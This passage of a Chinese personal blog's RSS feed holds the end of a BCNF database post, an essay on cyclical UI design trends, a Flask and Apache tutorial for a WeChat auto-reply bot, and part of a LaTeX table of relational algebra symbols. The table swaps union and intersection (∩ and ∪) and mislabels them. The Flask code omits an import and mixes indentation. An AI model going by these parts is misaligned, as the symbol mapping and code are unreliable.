<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-08-31-wD7ODd.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-08-31-wD7ODd.jpg" alt="2020-08-31-wD7ODd" loading="lazy" data-wrapped="true"></a></p>
<p>在这个例子中，为了从 R<sub>2</sub> 得到 R<sub>5</sub>，中途的 AB -> E 可通过函数依赖的传递和拆解得到：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">已知 AB -> CD, AC -> DE</div><div class="code-line numbered-code-line" data-line-number="2">则 AB-> ACD, ACD-> DE</div><div class="code-line numbered-code-line" data-line-number="3">则 AB -> DE</div><div class="code-line numbered-code-line" data-line-number="4">则 AB -> E</div></code></pre>
<p>如此即可得到这一关系的 BCNF 拆解，且满足无损连接，因为有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mn>3</mn><mo>⋈</mo><mi>R</mi><mn>4</mn><mo>⋈</mo><mi>R</mi><mn>5</mn><mo>⋈</mo><mi>R</mi><mn>6</mn><mo>=</mo><mi>R</mi></mrow><annotation encoding="application/x-tex">R3 \bowtie R4 \bowtie R5 \bowtie R6 = R</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6883em;vertical-align:-0.005em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord">3</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⋈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6883em;vertical-align:-0.005em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord">4</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⋈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6883em;vertical-align:-0.005em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⋈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord">6</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span>。</p>]]></description>
            <link>https://jtchen.io/blog/database-fd-bcnf</link>
            <guid isPermaLink="false">database-fd-bcnf</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Mon, 31 Aug 2020 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[拟物与抽象：操作系统交互界面的设计循环]]></title>
            <description><![CDATA[<p>WWDC2020 来了，Big Sur 的视觉方案又一次走在了最前面。</p>
<!-- more -->
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-MGOIXk.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-MGOIXk.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>熬夜看完了 WWDC2020。Apple 的自研处理器自然是发布会的高潮，不过除此之外，与新处理器一起到来的还有 macOS 10.X 时代的终结 —— 有生之年这个版本号终于上 11 了。之所以在题目里说「设计是一个循环」，是因为这套来自 Big Sur 的图标设计方案实在是太让人梦回 20 年前了。正好最近有空，遂在这里简单整理在 UI 设计方面，设计师们是怎么走了一个圈又回来了。</p>
<h3 id="开始的开始"><a href="#开始的开始">开始的开始</a></h3>
<p>高光，阴影，强渐变制造出的立体感 —— <a href="https://en.wikipedia.org/wiki/Aqua_(user_interface)">Aqua Design</a>。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-NCyfdK.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-NCyfdK.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>在计算机刚飞入寻常千万家的二十世纪末，现在使用者们习以为常的 UI 元素可能并不是那么易于理解：那是人机交互的原始时代，在这之前的计算机只能通过古板的命令行与用户交互。因此，这样一个「看起来就可以点击」的界面元素就是在告诉用户：这就是一个按钮；水滴一样的问号球，也是在对用户大声地说：「有什么不懂的，点我」。</p>
<p>同时，更强的图像处理能力也鼓励设计师在 UI 上「炫技」，用复杂的纹理和过渡动画来展现出精致得到效果。乔布斯曾对于这套将深度、高光首次引入 GUI 的设计方案这样评价：</p>
<blockquote>
<p>Its liquid, one of the design goals was when you saw it you wanted to lick it.</p>
</blockquote>
<p>同时期的 Windows XP, Vista 再到 Win7，无一不是在类似地尝试还原这种真实的质感。毛玻璃展现出来的层级划分，水灵灵的图标质感，是这个时代最典型的设计风格。</p>
<h3 id="扁平化"><a href="#扁平化">扁平化</a></h3>
<p>随着大家渐渐熟知了界面交互的种种共识，也就不再需要通过直观的视觉细节来了解 UI 元素的作用。于是从 2010 年起，各家巨头都陆陆续续开始走上了扁平的道路。 Jony Ive 担任苹果首席设计师的第一个作品，就是 iOS 7，也就是那个把 iOS 6 之前把拟物做到极致的系统完全拍扁的版本。第二年， Yosemite 发布。这一略带质感的扁平风格，成了大多人现在所熟知的 macOS 的形态。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-J24bxe.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-J24bxe.jpg" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>相比苹果而言，微软 2012 年发布的 Windows 8 更早地成为了扁平化的先锋。在当时看来步子迈得实在是太大了，网友「喷不打一处来」。这是一次彻底的扁平化。新引入的 Metro 磁铁开始菜单只留下了纯色的矢量图标和大块的色彩来辨识不同的应用。好在那时我大概还在初中，正处于接受新事物最容易的阶段，第一时间适应了扁平化的风格体系。扁平化的设计也快速成了我的偏爱。</p>
<p>虽然一开始大家喷得厉害，但当用户逐渐接受了扁平化的设定之后，往往会觉得这一视觉方案更加简洁，让注意力集中在更重要的内容上。因此在接下来的五六年里，从西方的科技巨头，到国内的众多互联网公司，都迅速开始扁平化。无论是 MIUI5 - MIUI6 的设计，还是 Android 4.0 的问世，甚至 Google Logo 的字体更新，都是在 2015 年左右发生的转变。扁平化的潮流迅速席卷了全球。此外，由于设计师们不再需要拘泥于极其受限的屏幕大小和分辨率，对空间的利用也往往更加大方，一个占满了整个屏幕的巨型纯色按钮，在现在也不是什么怪事。</p>
<h3 id="回归圆润"><a href="#回归圆润">回归圆润</a></h3>
<p>也许人们对同一套设计的审美疲劳期限大概就是 5 年。于是从前年开始看起来绝不应该用圆角的微软开始推广起来了不那么扁平的 Fluent Design，在 Windows 8 扔掉的 Aero 效果也从 Windows 10 1904 回归。微软也开始在一些 Web 按钮上使用圆角的设计。不过在界面统一方面，微软的执行力着实令人担忧。在这个设计的过渡时期，能够看到 Windows 8、Windows 10、Fluent Design 同时出现在单个软件中的奇观。甚至 Windows 95 时代的上古图标还没有完全重绘。也许是微软自己也对纯扁平的风格审美疲劳了，又或许是纯色的扁平 Logo 实在是没给设计师什么发挥空间，但我们能确定的是，微软开始「圆」了。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-hCL0Cn.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-hCL0Cn.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>在苹果这边，Big Sur 的发布也就仿佛是回归了 Yosemite 扁平化到来之前的设计原则，高度运用渐变、高光和阴影，全体系统自带图标都采用圆角矩形，颇有 Aqua Design 的味道。这套设计也是在尝试和 iOS 和 iPadOS 打通隔阂，试图呈现一个更统一的跨平台的设计语言。</p>
<p>不过很遗憾的是，全部采用圆角矩形的新图标丧失了一些旧图标体系下的分类功能。比如在 Catalina 中，系统自带 APP 总是使用原型图标来表示一个「单页应用」，如照片、应用商店、Safari 等等：</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-di8z63.png" style="zoom:50%;"  />
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-xvzxQV.png" style="zoom:50%;" />
<p>使用一个倾斜的文件来代表一个「基于文档」的应用程序，类似于文本编辑器、脚本编辑器和 Pages：</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-bfaK60.png" style="zoom:50%;" />
<p>广义地来讲，这类应用还有邮件、联系人、笔记、日历等等：</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-NzLQOr.png" style="zoom:50%;" />
<p>总之，旧的设计通过在形状中嵌入应用形态的隐喻，维持了系统应用图标的高度统一性和精致的设计感。新图标倒是不管三七二十一，全部用一致的圆角矩形解决。用相对更明显的高亮和阴影来与对应的移动平台应用区分开。带来的新问题也有像 Logic Pro X、Final Cut Pro X 这样面向专业人员的、图标本该 Pro 一点的应用变得像个玩具：</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-06-26-Lts5Hz.png" style="zoom:50%;" />
<p>虽然苹果之前设计本身也完全说不上「方」，不过从 macOS Big Sur 开始，种种 UI 细节都变得更加圆润了。这不仅体现在图标上，也体现在整个系统的各处 UI，圆角半径全体大幅扩大，甚至给人一种这就是 Deepin 的错觉。如果说更圆润的界面通常意味着更加贴近用户，更加友好的视觉风格，那苹果在这条路上便又踏出了一大步。从圆润到整洁再到圆润，又开始了一轮新的循环。</p>
<p>此外，今年 5 月底，Adobe 旗下的所有软件也全部一改以前方正克制的风格，全部圆了起来：</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-07-21-pXXX1y.png" alt="" style="zoom:50%;" />
<p>前文没有提到的，还有 Google 从方到圆的例子。从 Material Design 到 Material Design 2.0 就是最典型的例子。2.0 版本的 MD 最突出的特点就是文本框等空心元素的大幅圆角化和 Sidebar 的圆角高亮器。同样，对空间的利用也一并变得更加大方。我想，界面的风格改过来改过去的，除了是出于不同设计风格能在交互体验上给用户带来什么差别的思考以外，也许还有一个原因，就是让用户时刻保持新鲜感。于是在平面设计风格正弦函数一般的循环往替中，我们可以推测，在 2030 年到来之时，我们每天接触的这些 UI 们，将又一次被硬朗的方形支配。</p>]]></description>
            <link>https://jtchen.io/blog/ui-design-loop</link>
            <guid isPermaLink="false">ui-design-loop</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Fri, 26 Jun 2020 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[使用 Flask 实现微信公众号自动回复 Bot]]></title>
            <description><![CDATA[<p>人都是被逼出来的，业务突然来了的时候才能感到全速赶工的效率。这里记录一下如何用 10 分钟快速配置一个微信公众号自动回复机器人。</p>
<!-- more -->
<h2 id="一些准备工作"><a href="#一些准备工作">一些准备工作</a></h2>
<p>首先需要关闭微信提供的自动回复功能，然后登录微信公众平台，前往开发者配置的基本配置。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-05-04-image-20200504094605599.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-05-04-image-20200504094605599.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<ul>
<li>URL ：在这里输入你的接口地址，在下方的例子中，是 <code>https://url/wechat</code>。</li>
<li>Token：你可以自己输入 Token，用于验证。</li>
<li>EncodingAESKey：随机生成就好，同样用于验证。</li>
<li>消息加密方式：只要采用了 https 协议，明文模式也已经足够安全。为了便于开发调试我直接使用了明文方式。</li>
</ul>
<h2 id="快速让后端跑起来"><a href="#快速让后端跑起来">快速让后端跑起来</a></h2>
<p>需求很重要。没有必要在部署和非逻辑层上花费太多时间。下面是我使用的框架，在 <code>get_reply(msg)</code> 中写下你的业务逻辑就好。</p>
<p>对于比较复杂的项目，你可以考虑把一些方法拆分单独的文件中。</p>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-keyword">import</span> hashlib</div><div class="code-line numbered-code-line" data-line-number="2"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span>  *</div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-keyword">import</span> xml.etree.ElementTree <span class="hljs-keyword">as</span> ET</div><div class="code-line numbered-code-line" data-line-number="4"></div><div class="code-line numbered-code-line" data-line-number="5">app = Flask(__name__, static_url_path=<span class="hljs-string">'/static'</span>)</div><div class="code-line numbered-code-line" data-line-number="6">WECHAT_TOKEN  = <span class="hljs-string">'YOUR TOKEN'</span></div><div class="code-line numbered-code-line" data-line-number="7">AES_KEY = <span class="hljs-string">'YOUR AES KEY'</span></div><div class="code-line numbered-code-line" data-line-number="8"></div><div class="code-line numbered-code-line" data-line-number="9"><span class="hljs-keyword">def</span> <span class="hljs-title function_">get_reply</span>(<span class="hljs-params">msg</span>):</div><div class="code-line numbered-code-line" data-line-number="10">    <span class="hljs-keyword">return</span> <span class="hljs-string">'You can write your own handler here.'</span></div><div class="code-line numbered-code-line" data-line-number="11"></div><div class="code-line numbered-code-line" data-line-number="12"><span class="hljs-keyword">def</span> <span class="hljs-title function_">send</span>(<span class="hljs-params">to_user, from_user, content</span>):</div><div class="code-line numbered-code-line" data-line-number="13">	reply = <span class="hljs-string">"""
    &#x3C;xml>&#x3C;ToUserName>&#x3C;![CDATA[%s]]]]><![CDATA[>&#x3C;/ToUserName>
    &#x3C;FromUserName>&#x3C;![CDATA[%s]]]]><![CDATA[>&#x3C;/FromUserName>
    &#x3C;CreateTime>%s&#x3C;/CreateTime>
    &#x3C;MsgType>&#x3C;![CDATA[text]]]]><![CDATA[>&#x3C;/MsgType>
    &#x3C;Content>&#x3C;![CDATA[%s]]]]><![CDATA[>&#x3C;/Content>
    &#x3C;FuncFlag>0&#x3C;/FuncFlag>&#x3C;/xml>
    """</span></div><div class="code-line numbered-code-line" data-line-number="14">	response = make_response(reply % (to_user, from_user,</div><div class="code-line numbered-code-line" data-line-number="15">	                                  <span class="hljs-built_in">str</span>(<span class="hljs-built_in">int</span>(time.time())), content))</div><div class="code-line numbered-code-line" data-line-number="16">	response.content_type = <span class="hljs-string">'application/xml'</span></div><div class="code-line numbered-code-line" data-line-number="17">	<span class="hljs-keyword">return</span> response</div><div class="code-line numbered-code-line" data-line-number="18">    </div><div class="code-line numbered-code-line" data-line-number="19">@app.route(<span class="hljs-meta hljs-params hljs-string">'/'</span>, methods=[<span class="hljs-meta hljs-params hljs-string">'POST'</span>, <span class="hljs-meta hljs-params hljs-string">'GET'</span>])</div><div class="code-line numbered-code-line" data-line-number="20"><span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():</div><div class="code-line numbered-code-line" data-line-number="21">	<span class="hljs-keyword">return</span> <span class="hljs-string">'You can write your own index page.'</span></div><div class="code-line numbered-code-line" data-line-number="22"></div><div class="code-line numbered-code-line" data-line-number="23">@app.route(<span class="hljs-meta hljs-params hljs-string">'/result'</span>, methods=[<span class="hljs-meta hljs-params hljs-string">'GET'</span>])</div><div class="code-line numbered-code-line" data-line-number="24"><span class="hljs-keyword">def</span> <span class="hljs-title function_">export</span>():</div><div class="code-line numbered-code-line" data-line-number="25">	<span class="hljs-keyword">return</span> app.send_static_file(<span class="hljs-string">'result.html'</span>)</div><div class="code-line numbered-code-line" data-line-number="26"></div><div class="code-line numbered-code-line" data-line-number="27">@app.route(<span class="hljs-meta hljs-params hljs-string">'/wechat'</span>, methods=[<span class="hljs-meta hljs-params hljs-string">'POST'</span>, <span class="hljs-meta hljs-params hljs-string">'GET'</span>])</div><div class="code-line numbered-code-line" data-line-number="28"><span class="hljs-keyword">def</span> <span class="hljs-title function_">wechat_post</span>():</div><div class="code-line numbered-code-line" data-line-number="29">	<span class="hljs-keyword">if</span> (request.method == <span class="hljs-string">'GET'</span>):</div><div class="code-line numbered-code-line" data-line-number="30">		<span class="hljs-comment"># 验证信息</span></div><div class="code-line numbered-code-line" data-line-number="31">		data = request.args</div><div class="code-line numbered-code-line" data-line-number="32">		signature = data.get(<span class="hljs-string">'signature'</span>, <span class="hljs-string">''</span>)</div><div class="code-line numbered-code-line" data-line-number="33">		timestamp = data.get(<span class="hljs-string">'timestamp'</span>, <span class="hljs-string">''</span>)</div><div class="code-line numbered-code-line" data-line-number="34">		nonce = data.get(<span class="hljs-string">'nonce'</span>, <span class="hljs-string">''</span>)</div><div class="code-line numbered-code-line" data-line-number="35">		echostr = data.get(<span class="hljs-string">'echostr'</span>, <span class="hljs-string">''</span>)</div><div class="code-line numbered-code-line" data-line-number="36">		s = <span class="hljs-built_in">sorted</span>([timestamp, nonce, WECHAT_TOKEN])</div><div class="code-line numbered-code-line" data-line-number="37">		<span class="hljs-comment"># 字典排序</span></div><div class="code-line numbered-code-line" data-line-number="38">		s = <span class="hljs-string">''</span>.join(s)</div><div class="code-line numbered-code-line" data-line-number="39">		<span class="hljs-keyword">if</span> hashlib.sha1(s.encode(<span class="hljs-string">'utf-8'</span>)).hexdigest() == signature:</div><div class="code-line numbered-code-line" data-line-number="40">			<span class="hljs-comment"># 判断请求来源，并对接受的请求转换为utf-8后进行sha1加密</span></div><div class="code-line numbered-code-line" data-line-number="41">			response = make_response(echostr)</div><div class="code-line numbered-code-line" data-line-number="42">			<span class="hljs-keyword">return</span> echostr</div><div class="code-line numbered-code-line" data-line-number="43">		<span class="hljs-keyword">return</span> <span class="hljs-string">'Only requests from wechat will be accepted.'</span></div><div class="code-line numbered-code-line" data-line-number="44"></div><div class="code-line numbered-code-line" data-line-number="45">	<span class="hljs-keyword">if</span>(request.method == <span class="hljs-string">'POST'</span>):</div><div class="code-line numbered-code-line" data-line-number="46">		xml = ET.fromstring(request.data)</div><div class="code-line numbered-code-line" data-line-number="47">		toUser = xml.find(<span class="hljs-string">'ToUserName'</span>).text</div><div class="code-line numbered-code-line" data-line-number="48">		fromUser = xml.find(<span class="hljs-string">'FromUserName'</span>).text</div><div class="code-line numbered-code-line" data-line-number="49">		msgType = xml.find(<span class="hljs-string">"MsgType"</span>).text</div><div class="code-line numbered-code-line" data-line-number="50">		<span class="hljs-keyword">if</span> msgType == <span class="hljs-string">'text'</span>:</div><div class="code-line numbered-code-line" data-line-number="51">           <span class="hljs-comment"># 文本消息</span></div><div class="code-line numbered-code-line" data-line-number="52">			content = xml.find(<span class="hljs-string">'Content'</span>).text</div><div class="code-line numbered-code-line" data-line-number="53">           reply = get_reply(content)</div><div class="code-line numbered-code-line" data-line-number="54">			<span class="hljs-keyword">return</span> send(fromUser, toUser, reply)</div><div class="code-line numbered-code-line" data-line-number="55">		<span class="hljs-keyword">elif</span> msgType == <span class="hljs-string">'event'</span>:</div><div class="code-line numbered-code-line" data-line-number="56">           <span class="hljs-comment"># 关注消息</span></div><div class="code-line numbered-code-line" data-line-number="57">			<span class="hljs-keyword">return</span> send(fromUser, toUser, <span class="hljs-string">'Write your own follow message here.'</span>)</div><div class="code-line numbered-code-line" data-line-number="58">		<span class="hljs-keyword">else</span>:</div><div class="code-line numbered-code-line" data-line-number="59">			<span class="hljs-keyword">return</span> send(fromUser, toUser, <span class="hljs-string">"非文字消息。"</span>)</div><div class="code-line numbered-code-line" data-line-number="60">	<span class="hljs-keyword">return</span> <span class="hljs-string">'Unexpected handler.'</span></div><div class="code-line numbered-code-line" data-line-number="61"></div><div class="code-line numbered-code-line" data-line-number="62"></div><div class="code-line numbered-code-line" data-line-number="63"><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:</div><div class="code-line numbered-code-line" data-line-number="64">	app.run(host=<span class="hljs-string">'0.0.0.0'</span>, threaded=<span class="hljs-literal">True</span>)</div><div class="code-line numbered-code-line" data-line-number="65"></div></code></pre>
<h2 id="用-apache-部署起来"><a href="#用-apache-部署起来">用 Apache 部署起来</a></h2>
<p>在项目根目录下新建一个 wsgi 文件，写入配置，修改成你的部署目录：</p>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-comment">#! /usr/bin/python3.6</span></div><div class="code-line numbered-code-line" data-line-number="2"></div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-keyword">import</span> logging</div><div class="code-line numbered-code-line" data-line-number="4"><span class="hljs-keyword">import</span> sys</div><div class="code-line numbered-code-line" data-line-number="5">logging.basicConfig(stream=sys.stderr)</div><div class="code-line numbered-code-line" data-line-number="6">sys.path.insert(<span class="hljs-number">0</span>, <span class="hljs-string">'/var/www/seeyoubot'</span>) <span class="hljs-comment"># Your own deploy path</span></div><div class="code-line numbered-code-line" data-line-number="7"><span class="hljs-keyword">from</span> server <span class="hljs-keyword">import</span> app <span class="hljs-keyword">as</span> application</div><div class="code-line numbered-code-line" data-line-number="8">application.secret_key = <span class="hljs-string">'just_a_secret_key'</span> <span class="hljs-comment"># Anything you want</span></div></code></pre>
<p>接着上传项目，在 Apache 的配置文件（通常位于 <code>/etc/apache2/sites-enabled</code> ）下的新增一个 conf 文件，写入以下配置。修改一下 <code>ServerName</code>，<code>WSGIScriptAlias</code> 和 <code>Directory</code> 成你的工程位置：</p>
<pre><code class="hljs language-python" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">&#x3C;VirtualHost *:<span class="hljs-number">80</span>></div><div class="code-line numbered-code-line" data-line-number="2">     <span class="hljs-comment"># Add machine's IP address or your subdomain</span></div><div class="code-line numbered-code-line" data-line-number="3">     ServerName yourserver.com</div><div class="code-line numbered-code-line" data-line-number="4">     <span class="hljs-comment"># Give an alias to to start your website url with</span></div><div class="code-line numbered-code-line" data-line-number="5">     WSGIScriptAlias / /var/www/seeyoubot/seeyoubot.wsgi</div><div class="code-line numbered-code-line" data-line-number="6">     &#x3C;Directory /var/www/seeyoubot/></div><div class="code-line numbered-code-line" data-line-number="7">     		<span class="hljs-comment"># set permissions as per apache2.conf file</span></div><div class="code-line numbered-code-line" data-line-number="8">            Options FollowSymLinks</div><div class="code-line numbered-code-line" data-line-number="9">            AllowOverride <span class="hljs-literal">None</span></div><div class="code-line numbered-code-line" data-line-number="10">            Require <span class="hljs-built_in">all</span> granted</div><div class="code-line numbered-code-line" data-line-number="11">     &#x3C;/Directory></div><div class="code-line numbered-code-line" data-line-number="12">     ErrorLog ${APACHE_LOG_DIR}/error.log</div><div class="code-line numbered-code-line" data-line-number="13">     LogLevel warn</div><div class="code-line numbered-code-line" data-line-number="14">     CustomLog ${APACHE_LOG_DIR}/access.log combined</div><div class="code-line numbered-code-line" data-line-number="15">&#x3C;/VirtualHost></div></code></pre>
<p>接下来<code>service apache2 restart</code>，回到微信公众平台点击提交，你应该已经可以提交成功了。现在你可以专注于处理回复消息的逻辑了。</p>
<h2 id="references"><a href="#references">References</a></h2>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/50801694">https://zhuanlan.zhihu.com/p/50801694</a></li>
<li><a href="https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Passive_user_reply_message.html">https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Passive_user_reply_message.html</a></li>
</ul>
<style type="text/css">
  .hider{
    background:#555;
    color:#555;
    transition: 0.2s;
  }
  .hider:hover{background:none;color:#555;}
</style>
<p/>
<p><span class="hider">青年节到了，顺祝节日快乐。</span></p>]]></description>
            <link>https://jtchen.io/blog/flask-wechat-bot</link>
            <guid isPermaLink="false">flask-wechat-bot</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Mon, 04 May 2020 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[数据库常用关系代数符号在 LaTeX 中的表示]]></title>
            <description><![CDATA[<p>Relational Algebra / 关系代数符号可以用于表达数据库标准操作逻辑。近期做数据库作业时经常需要用 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>LaTeX</mtext></mrow><annotation encoding="application/x-tex">\LaTeX</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8988em;vertical-align:-0.2155em;"></span><span class="mord text"><span class="mord textrm">L</span><span class="mspace" style="margin-right:-0.36em;"></span><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6833em;"><span style="top:-2.905em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord"><span class="mord textrm mtight sizing reset-size6 size3">A</span></span></span></span></span></span><span class="mspace" style="margin-right:-0.15em;"></span><span class="mord text"><span class="mord textrm">T</span><span class="mspace" style="margin-right:-0.1667em;"></span><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4678em;"><span style="top:-2.7845em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord textrm">E</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2155em;"><span></span></span></span></span><span class="mspace" style="margin-right:-0.125em;"></span><span class="mord textrm">X</span></span></span></span></span></span> 表示关系代数的符号，故在这里稍作整理。</p>
<!-- more -->
<table>
<thead>
<tr>
<th>Operation</th>
<th>中文</th>
<th>符号</th>
<th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>LaTeX</mtext></mrow><annotation encoding="application/x-tex">\LaTeX</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8988em;vertical-align:-0.2155em;"></span><span class="mord text"><span class="mord textrm">L</span><span class="mspace" style="margin-right:-0.36em;"></span><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6833em;"><span style="top:-2.905em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord"><span class="mord textrm mtight sizing reset-size6 size3">A</span></span></span></span></span></span><span class="mspace" style="margin-right:-0.15em;"></span><span class="mord text"><span class="mord textrm">T</span><span class="mspace" style="margin-right:-0.1667em;"></span><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4678em;"><span style="top:-2.7845em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord textrm">E</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2155em;"><span></span></span></span></span><span class="mspace" style="margin-right:-0.125em;"></span><span class="mord textrm">X</span></span></span></span></span></span></th>
</tr>
</thead>
<tbody>
<tr>
<td>Projection</td>
<td>投影</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Π</mi></mrow><annotation encoding="application/x-tex">\Pi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Π</span></span></span></span></td>
<td><code>\Pi</code></td>
</tr>
<tr>
<td>Selection</td>
<td>选择</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>σ</mi></mrow><annotation encoding="application/x-tex">\sigma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span></span></span></span></td>
<td><code>\sigma</code></td>
</tr>
<tr>
<td>Renaming</td>
<td>重命名</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ρ</mi></mrow><annotation encoding="application/x-tex">\rho</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span></span></span></span></td>
<td><code>\rho</code></td>
</tr>
<tr>
<td>Aggregate Function</td>
<td>聚合函数</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="script">G</mi></mrow><annotation encoding="application/x-tex">\mathcal{G}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7805em;vertical-align:-0.0972em;"></span><span class="mord mathcal" style="margin-right:0.0593em;">G</span></span></span></span></td>
<td><code>\mathcal{G}</code></td>
</tr>
<tr>
<td>Union</td>
<td>交</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∩</mo></mrow><annotation encoding="application/x-tex">\cap</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5556em;"></span><span class="mord">∩</span></span></span></span></td>
<td><code>\cap</code></td>
</tr>
<tr>
<td>Intersection</td>
<td>补</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∪</mo></mrow><annotation encoding="application/x-tex">\cup</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5556em;"></span><span class="mord">∪</span></span></span></span></td>
<td><code>\cup</code></td>
</tr>
<tr>
<td>Natural Join</td>
<td>自然连接</td>
<td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⋈</mo></mrow><annotation encoding="application/x-tex">\bowtie</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.51em;vertical-align:-0.005em;"></span><span class="mrel">⋈</span></span></span></span></td>
<td><code>\bowtie</code></td>
</tr>
<tr>
<td>Left Outer Join</td>
<td>左外连接</td>
<td>⟕</td>
<td>... 这几个直接复制吧</td>
</tr>
<tr>
<td>Right Outer Join</td>
<td>右外连接</td>
<td>⟖</td>
